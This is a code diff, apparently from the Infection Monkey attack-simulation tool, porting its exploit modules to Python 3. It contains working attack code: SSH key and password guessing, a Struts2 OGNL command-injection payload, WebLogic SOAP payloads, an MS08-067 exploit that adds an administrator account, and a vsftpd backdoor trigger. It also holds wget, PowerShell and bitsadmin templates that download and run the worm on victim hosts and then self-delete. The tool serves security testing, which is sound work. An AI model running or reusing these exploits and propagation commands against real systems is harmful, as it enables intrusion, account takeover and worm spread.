user_ssh_key_pairs: # Creating file-like private key for paramiko - pkey = StringIO.StringIO(ssh_key_pair['private_key']) + pkey = io.StringIO(ssh_key_pair['private_key']) ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) + + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: pkey = paramiko.RSAKey.from_private_key(pkey) except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): @@ -55,56 +55,53 @@ class SSHExploiter(HostExploiter): ssh.connect(self.host.ip_addr, username=user, pkey=pkey, - port=port, - timeout=None) + port=port) LOG.debug("Successfully logged in %s using %s users private key", self.host, ssh_string) - exploited = True self.report_login_attempt(True, user, ssh_key=ssh_string) - break - except Exception as exc: + return ssh + except Exception: + ssh.close() LOG.debug("Error logging into victim %r with %s" " private key", self.host, ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string) continue - return exploited + raise FailedExploitationError - def exploit_with_login_creds(self, port, ssh): + def exploit_with_login_creds(self, port) -> paramiko.SSHClient: user_password_pairs = self._config.get_exploit_user_password_pairs() - exploited = False - for user, current_password in user_password_pairs: + + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: ssh.connect(self.host.ip_addr, username=user, password=current_password, - port=port, - timeout=None) + port=port) LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", self.host, user, self._config.hash_sensitive_data(current_password)) - exploited = True self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) - break + return ssh except Exception as exc: LOG.debug("Error logging into victim %r with user" " %s and password (SHA-512) '%s': (%s)", self.host, user, self._config.hash_sensitive_data(current_password), exc) self.report_login_attempt(False, user, current_password) + ssh.close() continue - return exploited + raise FailedExploitationError def _exploit_host(self): - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) port = SSH_PORT # if ssh banner found on different port, use that port. - for servkey, servdata in self.host.services.items(): + for servkey, servdata in list(self.host.services.items()): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): port = int(servkey.replace('tcp-', '')) @@ -113,19 +110,19 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - # Check for possible ssh exploits - exploited = self.exploit_with_ssh_keys(port, ssh) - if not exploited: - exploited = self.exploit_with_login_creds(port, ssh) - - if not exploited: - LOG.debug("Exploiter SSHExploiter is giving up...") - return False + try: + ssh = self.exploit_with_ssh_keys(port) + except FailedExploitationError: + try: + ssh = self.exploit_with_login_creds(port) + except FailedExploitationError: + LOG.debug("Exploiter SSHExploiter is giving up...") + return False if not self.host.os.get('type'): try: _, stdout, _ = ssh.exec_command('uname -o') - uname_os = stdout.read().lower().strip() + uname_os = stdout.read().lower().strip().decode() if 'linux' in uname_os: self.host.os['type'] = 'linux' else: @@ -138,7 +135,7 @@ class SSHExploiter(HostExploiter): if not self.host.os.get('machine'): try: _, stdout, _ = ssh.exec_command('uname -m') - uname_machine = stdout.read().lower().strip() + uname_machine = stdout.read().lower().strip().decode() if '' != uname_machine: self.host.os['machine'] = uname_machine except Exception as exc: @@ -183,7 +180,7 @@ class SSHExploiter(HostExploiter): try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) - cmdline += "&" + cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index cb81a2ef5..9aba749a7 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -3,13 +3,14 @@ code used is from https://www.exploit-db.com/exploits/41570/ Vulnerable struts2 versions <=2.3.31 and <=2.5.10 """ -import urllib2 -import httplib -import unicodedata +import http.client +import logging import re import ssl +import urllib.error +import urllib.parse +import urllib.request -import logging from infection_monkey.exploit.web_rce import WebRCE __author__ = "VakarisZ" @@ -47,10 +48,10 @@ class Struts2Exploiter(WebRCE): def get_redirected(url): # Returns false if url is not right headers = {'User-Agent': 'Mozilla/5.0'} - request = urllib2.Request(url, headers=headers) + request = urllib.request.Request(url, headers=headers) try: - return urllib2.urlopen(request, context=ssl._create_unverified_context()).geturl() - except urllib2.URLError: + return urllib.request.urlopen(request, context=ssl._create_unverified_context()).geturl() + except urllib.error.URLError: LOG.error("Can't reach struts2 server") return False @@ -79,18 +80,15 @@ class Struts2Exploiter(WebRCE): "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ "(#ros.flush())}" % cmd - # Turns payload ascii just for consistency - if isinstance(payload, unicode): - payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} try: - request = urllib2.Request(url, headers=headers) + request = urllib.request.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output - page = urllib2.urlopen(request).read() + page = urllib.request.urlopen(request).read() except AttributeError: # If url does not exist return False - except httplib.IncompleteRead as e: - page = e.partial + except http.client.IncompleteRead as e: + page = e.partial.decode() return page diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py index eabe8d9d7..7d6c16366 100644 --- a/monkey/infection_monkey/exploit/tools/exceptions.py +++ b/monkey/infection_monkey/exploit/tools/exceptions.py @@ -1,5 +1,6 @@ - - class ExploitingVulnerableMachineError(Exception): """ Raise when exploiter failed, but machine is vulnerable""" - pass + + +class FailedExploitationError(Exception): + """ Raise when exploiter fails instead of returning False""" diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 91a25c270..1fc2fc4f1 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,52 +1,8 @@ import logging -import socket -import struct -import sys - -from infection_monkey.network.info import get_routes LOG = logging.getLogger(__name__) -def get_interface_to_target(dst): - """ - :param dst: destination IP address string without port. E.G. '192.168.1.1.' - :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' - """ - if sys.platform == "win32": - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - try: - s.connect((dst, 1)) - ip_to_dst = s.getsockname()[0] - except KeyError: - LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.") - ip_to_dst = '127.0.0.1' - finally: - s.close() - return ip_to_dst - else: - # based on scapy implementation - - def atol(x): - ip = socket.inet_aton(x) - return struct.unpack("!I", ip)[0] - - routes = get_routes() - dst = atol(dst) - paths = [] - for d, m, gw, i, a in routes: - aa = atol(a) - if aa == dst: - paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) - if (dst & m) == (d & m): - paths.append((m, (i, a, gw))) - if not paths: - return None - paths.sort() - ret = paths[-1][1] - return ret[1] - - def try_get_target_monkey(host): src_path = get_target_monkey(host) if not src_path: @@ -74,7 +30,7 @@ def get_target_monkey(host): if host.os.get('type') == platform.system().lower(): # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ - host.os.get('machine', '').lower() == platform.machine().lower(): + host.os.get('machine', '').lower() == platform.machine().lower(): monkey_path = sys.executable return monkey_path diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 19b45b043..bfdeb68c8 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -1,14 +1,17 @@ import logging import os import os.path -import urllib +import urllib.error +import urllib.parse +import urllib.request from threading import Lock +from infection_monkey.model import DOWNLOAD_TIMEOUT from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.transport import HTTPServer, LockedHTTPServer -from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target -from infection_monkey.model import DOWNLOAD_TIMEOUT +from infection_monkey.exploit.tools.helpers import try_get_target_monkey +from infection_monkey.network.tools import get_interface_to_target __author__ = 'itamar' @@ -32,7 +35,7 @@ class HTTPTools(object): httpd.daemon = True httpd.start() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd @staticmethod def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): @@ -68,7 +71,7 @@ class HTTPTools(object): httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) httpd.start() lock.acquire() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd class MonkeyHTTPServer(HTTPTools): diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index 31632b045..5c4415fe3 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -49,7 +49,7 @@ class LimitedSizePayload(Payload): "exceeds required length of command.") elif self.command == "": - return [self.prefix+self.suffix] + return [self.prefix + self.suffix] wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) commands = [self.get_payload(part) for part diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py index af682dbff..315216d5f 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -1,5 +1,5 @@ from unittest import TestCase -from payload_parsing import Payload, LimitedSizePayload +from .payload_parsing import Payload, LimitedSizePayload class TestPayload(TestCase): @@ -29,4 +29,3 @@ class TestPayload(TestCase): array2[1] == "prefix5678suffix" and len(array2) == 2) assert test1 and test2 - diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 51564518e..80d9c73f7 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -10,8 +10,9 @@ import infection_monkey.config import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem -from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.network.tools import get_interface_to_target from infection_monkey.config import Configuration + __author__ = 'itamar' LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index abbb9f936..e1e002d72 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -48,7 +48,7 @@ class WmiTools(object): except Exception as exc: dcom.disconnect() - if "rpc_s_access_denied" == exc.message: + if "rpc_s_access_denied" == exc: raise AccessDeniedException(host, username, password, domain) raise @@ -86,9 +86,9 @@ class WmiTools(object): @staticmethod def dcom_cleanup(): - for port_map in DCOMConnection.PORTMAPS.keys(): + for port_map in list(DCOMConnection.PORTMAPS.keys()): del DCOMConnection.PORTMAPS[port_map] - for oid_set in DCOMConnection.OID_SET.keys(): + for oid_set in list(DCOMConnection.OID_SET.keys()): del DCOMConnection.OID_SET[port_map] DCOMConnection.OID_SET = {} @@ -132,7 +132,7 @@ class WmiTools(object): record = next_item.getProperties() if not fields: - fields = record.keys() + fields = list(record.keys()) query_record = {} for key in fields: diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 744853bdf..1305e3946 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -8,7 +8,7 @@ import socket import time from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT @@ -45,7 +45,7 @@ class VSFTPDExploiter(HostExploiter): s.connect((ip_addr, port)) return True except socket.error as e: - LOG.error('Failed to connect to %s', self.host.ip_addr) + LOG.info('Failed to connect to %s: %s', self.host.ip_addr, str(e)) return False def socket_send_recv(self, s, message): @@ -53,7 +53,7 @@ class VSFTPDExploiter(HostExploiter): s.send(message) return s.recv(RECV_128).decode('utf-8') except socket.error as e: - LOG.error('Failed to send payload to %s', self.host.ip_addr) + LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e)) return False def socket_send(self, s, message): @@ -61,7 +61,7 @@ class VSFTPDExploiter(HostExploiter): s.send(message) return True except socket.error as e: - LOG.error('Failed to send payload to %s', self.host.ip_addr) + LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e)) return False def _exploit_host(self): @@ -71,9 +71,9 @@ class VSFTPDExploiter(HostExploiter): if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): ftp_socket.recv(RECV_128).decode('utf-8') - if self.socket_send_recv(ftp_socket, USERNAME + '\n'): + if self.socket_send_recv(ftp_socket, USERNAME + b'\n'): time.sleep(FTP_TIME_BUFFER) - self.socket_send(ftp_socket, PASSWORD + '\n') + self.socket_send(ftp_socket, PASSWORD + b'\n') ftp_socket.close() LOG.info('Backdoor Enabled, Now we can run commands') else: @@ -129,7 +129,7 @@ class VSFTPDExploiter(HostExploiter): change_permission = str.encode(str(change_permission) + '\n') LOG.info("change_permission command is %s", change_permission) backdoor_socket.send(change_permission) - T1222Telem(ScanStatus.USED, change_permission, self.host).send() + T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send() # Run monkey on the machine parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) @@ -143,7 +143,7 @@ class VSFTPDExploiter(HostExploiter): if backdoor_socket.send(run_monkey): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) - self.add_executed_cmd(run_monkey) + self.add_executed_cmd(run_monkey.decode()) return True else: return False diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 5f408af79..9f40f0934 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -3,10 +3,11 @@ import re from posixpath import join from abc import abstractmethod -from infection_monkey.exploit import HostExploiter -from infection_monkey.model import * +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.model import CHECK_COMMAND, ID_STRING, GET_ARCH_LINUX, GET_ARCH_WINDOWS, BITSADMIN_CMDLINE_HTTP, \ + POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT, CHMOD_MONKEY, RUN_MONKEY, MONKEY_ARG, DROPPER_ARG from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING @@ -256,7 +257,7 @@ class WebRCE(HostExploiter): if 'No such file' in resp: return False else: - LOG.info("Host %s was already infected under the current configuration, done" % str(host)) + LOG.info("Host %s was already infected under the current configuration, done" % str(self.host)) return True def check_remote_files(self, url): @@ -284,7 +285,7 @@ class WebRCE(HostExploiter): """ ports = self.get_open_service_ports(ports, names) if not ports: - LOG.info("All default web ports are closed on %r, skipping", str(host)) + LOG.info("All default web ports are closed on %r, skipping", str(self.host)) return False else: return ports @@ -374,7 +375,7 @@ class WebRCE(HostExploiter): T1222Telem(ScanStatus.SCANNED, "", self.host).send() return False # If exploiter returns True / False - if type(resp) is bool: + if isinstance(resp, bool): LOG.info("Permission change finished") return resp # If exploiter returns command output, we can check for execution errors @@ -408,9 +409,10 @@ class WebRCE(HostExploiter): monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: + LOG.info("Trying to execute monkey using command: {}".format(command)) resp = self.exploit(url, command) # If exploiter returns True / False - if type(resp) is bool: + if isinstance(resp, bool): LOG.info("Execution attempt successfully finished") self.add_executed_cmd(command) return resp @@ -461,7 +463,7 @@ class WebRCE(HostExploiter): """ src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # Determine which destination path to use dest_path = self.get_monkey_upload_path(src_path) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index e1ceb29fd..04eb43c79 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -1,18 +1,16 @@ -from __future__ import print_function import threading import logging import time import copy from requests import post, exceptions -from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer +from http.server import BaseHTTPRequestHandler, HTTPServer from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.network.tools import get_interface_to_target from infection_monkey.network.info import get_free_tcp_port -from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer - +from http.server import BaseHTTPRequestHandler, HTTPServer __author__ = "VakarisZ" @@ -34,7 +32,6 @@ HEADERS = { class WebLogicExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', 'windows'] _EXPLOITED_SERVICE = 'Weblogic' @@ -83,7 +80,7 @@ class WebLogic201710271(WebRCE): else: payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: - post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) # noqa: DUO123 except Exception as e: LOG.error("Connection error: %s" % e) return False @@ -119,7 +116,7 @@ class WebLogic201710271(WebRCE): def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) + post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) # noqa: DUO123 except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error pass @@ -302,7 +299,7 @@ class WebLogic20192725(WebRCE): :return: Formatted payload """ empty_payload = ''' - <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" + <soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\"> <soapenv:Header> <wsa:Action>xx</wsa:Action> diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 2cf5010b2..f296091d6 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -17,9 +17,9 @@ from impacket.dcerpc.v5 import transport from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from infection_monkey.network import SMBFinger +from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port -from . import HostExploiter +from infection_monkey.exploit.HostExploiter import HostExploiter LOG = getLogger(__name__) @@ -162,17 +162,17 @@ class Ms08_067_Exploiter(HostExploiter): def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ - self.host.os.get('version') in self._windows_versions.keys(): + self.host.os.get('version') in list(self._windows_versions.keys()): return True if not self.host.os.get('type') or ( - self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): + self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(self.host): return self.host.os.get('type') in self._TARGET_OS_TYPE and \ - self.host.os.get('version') in self._windows_versions.keys() + self.host.os.get('version') in list(self._windows_versions.keys()) return False def _exploit_host(self): @@ -191,11 +191,11 @@ class Ms08_067_Exploiter(HostExploiter): try: sock = exploit.start() - sock.send("cmd /c (net user %s %s /add) &&" - " (net localgroup administrators %s /add)\r\n" % - (self._config.user_to_add, - self._config.remote_user_pass, - self._config.user_to_add)) + sock.send("cmd /c (net user {} {} /add) &&" + " (net localgroup administrators {} /add)\r\n".format( + self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add).encode()) time.sleep(2) reply = sock.recv(1000) @@ -234,7 +234,8 @@ class Ms08_067_Exploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) + build_monkey_commandline(self.host, get_monkey_depth() - 1, + self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 947fd57a1..adaf524e2 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -5,7 +5,7 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException -from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, \ get_monkey_depth, build_monkey_commandline from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException @@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter): password_hashed = self._config.hash_sensitive_data(password) lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) - creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed) + creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \ + "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed) LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) wmi_connection = WmiTools.WmiConnection() @@ -104,9 +105,9 @@ class WmiExploiter(HostExploiter): ntpath.split(remote_full_path)[0], None) - if (0 != result.ProcessId) and (0 == result.ReturnValue): - LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", - remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) + if (0 != result.ProcessId) and (not result.ReturnValue): + LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", + remote_full_path, self.host, result.ProcessId, cmdline) self.add_vuln_port(port='unknown') success = True @@ -121,4 +122,3 @@ class WmiExploiter(HostExploiter): return success return False - diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 71fd582af..21871d857 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -1,5 +1,3 @@ -from __future__ import print_function - import argparse import json import logging @@ -14,6 +12,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.monkey import InfectionMonkey +from common.version import get_version # noinspection PyUnresolvedReferences import infection_monkey.post_breach # dummy import for pyinstaller @@ -23,8 +22,11 @@ LOG = None LOG_CONFIG = {'version': 1, 'disable_existing_loggers': False, - 'formatters': {'standard': { - 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, + 'formatters': { + 'standard': { + 'format': + '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s' + }, }, 'handlers': {'console': {'class': 'logging.StreamHandler', 'level': 'DEBUG', @@ -116,6 +118,8 @@ def main(): LOG.info(">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid()) + LOG.info(f"version: {get_version()}") + monkey = monkey_cls(monkey_args) monkey.initialize() diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 3e333a26d..5644044b0 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -5,37 +5,41 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" ID_STRING = "M0NK3Y3XPL0ITABLE" -DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) -MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) + +# CMD prefix for windows commands +CMD_PREFIX = "cmd.exe /c" +DROPPER_CMDLINE_WINDOWS = '%s %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) +MONKEY_CMDLINE_WINDOWS = '%s %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) +MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,) GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' -DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) -MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) -DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' +DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) +MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) +MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ + '/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) +DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \ + 'file_path)s exit)) > NUL 2>&1 ' # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \ + "monkey_path)s\' -UseBasicParsing\" " WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING -# CMD prefix for windows commands -CMD_PREFIX = "cmd.exe /c" # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" # All in one commands (upload, change permissions, run) HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ - "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ - " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ - "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ + "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ - "&& wget -O %(monkey_path)s %(http_path)s " \ - "; chmod +x %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" 